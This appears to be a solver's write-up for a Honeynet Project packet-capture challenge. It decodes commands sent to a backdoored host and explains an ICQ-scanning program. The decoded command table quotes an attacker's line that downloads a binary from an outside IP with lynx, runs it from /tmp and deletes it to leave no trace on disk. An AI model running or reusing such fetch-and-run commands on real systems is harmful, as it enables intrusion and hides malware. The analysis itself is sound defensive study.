[MD5 check OK!]
Packets 1-6
Ping traffic which I'd probably have ignored completely if you hadn't taken the trouble to obscure the address, as witnessed by the bad IP checksum, good ICMP checksum and unrouteable (RFC1918) remote address. Maybe some sort of message announcing availability for command processing, or just a safety check to make sure it isn't firewalled in? In any case, it looks just like normal ping traffic to me.
Packets 7-8
Incoming remote control commands, likely from spoofed source addresses
Packets 9-28
Reply to commands plus a bunch of 'chaff' to help hide the real destination. One of these addresses is likely the attacker, probably find out when I decode the commands.
Packets 62-3 and 72
More commands and/or ACKs
Packets 73-528
HTTP download of executable 'foo' from 216.242.103.2, again with obfuscated address (11.11.11.11).
Packets 529-530
Two packet UDP conversation with 216.242.103.2, port 53413. Attacker sends back 9207100 in ASCII.
Packets 533 onwards
Visits to web.icq.com to various people's messaging services by foo (which contains strings relating to web.icq.com). Seems to be scanning ICQ IDs (UINs) sequentially starting at 9207100 (see previous), presumably looking for something.
Packets 1236-7 and 1282
More commands from attacker
Didn't have a Linux box or C compiler handy so took the C source from
http://project.honeynet.org/scans/scan22/decoder.c and converted it into
Perl script to operate on the print output from Ethereal. The decoded commands
and responses looked like this (ignoring junk and "chaff" replies):
| Command | Parameters |
| 02 | 0x01 0xcb 0xad 0x90 0x32 |
| 03 | grep -i "zone" /etc/named.conf |
| 03 | zone "." { zone "0.0.127.in-addr.arpa" { |
| 04 | |
| 07 | killall -9 ttserve |
| 07 | killall -9 ttserve |
| 07 | killall -9 ttserve ; lynx -source http://216.242.103.2:8882/foo > /tmp/ttserve ; chmod 755 /tmp/ttserve ; cd /tmp ; ./ttserve ; rm -rf /tmp/ttserve ./ttserve ; (Line breaks inserted after semicolons for clarity) |
| 07 | killall -9 lynx ; rm -rf /tmp/ttserve; |
| 07 | killall -9 lynx ; rm -rf /tmp/ttserve; |
| 07 | killall -9 lynx ; rm -rf /tmp/ttserve; |
As guessed in the first pass, it is one of the addresses replied to and if you decimalise the parameters passed in the first command (less the first byte) you get 203.173.144.50 - reverse DNS gives p50-tnt7.syd.ihug.com.au.
Q.2 What is the attacker doing first?
Searching for DNS zone entries, possibly in an additional attempt to identify who owns the compromised machine if reverse DNS and whois were not helpful.
Q.3 Why do some packets have readable stuff and others not?
The attacker and trojan seem to talk using (part of) 402-byte chunks but the trojan allocates a bigger buffer, probably using it for other stuff, and can't be bothered to clean it out before sticking its reply in, so there's command-line stuff on the end. This stuff appears to relate to the Trojan's previous operations.
Q.4 What is the purpose of foo?
To judge by the results, "foo" scans messaging centres at
web.icq.net, one channel at a time, presumably looking for
something. Not being a programmer (beyond simple Perl utilities)
I couldn't really say what it is doing with the HTML it gets back, maybe
just extracting a list of active UINs. I'd guess that the programmer
was not too hot, since:
1) There was no attempt to obscure the URL in the binary, risking detection by
string-matching IDS.
2) The ICQ UINs were scanned sequentially and in quick succession, again risking
IDS detection. (Although admittedly this does minimise the lifetime of the rogue
process so is not all bad).
3) The HTML GET request was re-issued even when the first attempt was successful.
Q.5 What is the purpose of "./ttserve ; rm -rf /tmp/ttserve"?
Starts the HTTP-downloaded "foo" program, which runs as the "ttserve" process, and deletes the program from disk to minimize "hard" traces, i.e. it only exists in memory so will be lost on crash or reboot.
Q.6 How will attacker use results of foo?
The only consistent info retrieved seemed to be a list of which UINs are still active. Searching Google (www.google.co.uk) showed references to a ttserve (ttserve@tm.net.my) as a source of spam email. This suggested the possibility of ICQ spamming, (maybe using the likes of ICQ Spoofer), for which a list of active UINs would be useful. Some of the pages have other potentially useful information, such as email address, phone number, hobbies and interests which could be useful in targeting the spam more precisely.
Q.7 Would I have caught the activity?
Sort of! I read the results of the Reverse Challenge a while back and added IDS rules for IP protocol 11. However this was just a belt-and- braces thing as my Internet router filters would drop and log any such packets, so I'd only ever see a record of dropped protocol 11 packets from the router's syslog entries (which I parse for oddities using Perl scripts most work mornings) and would get no details of contents.
PS.
Thanks to Larry Wall and anyone else connected with Perl for saving my reputation/career/sanity more
times than I care to remember, but especially the fine folks at
Active State for keeping us poor Windozers in the loop.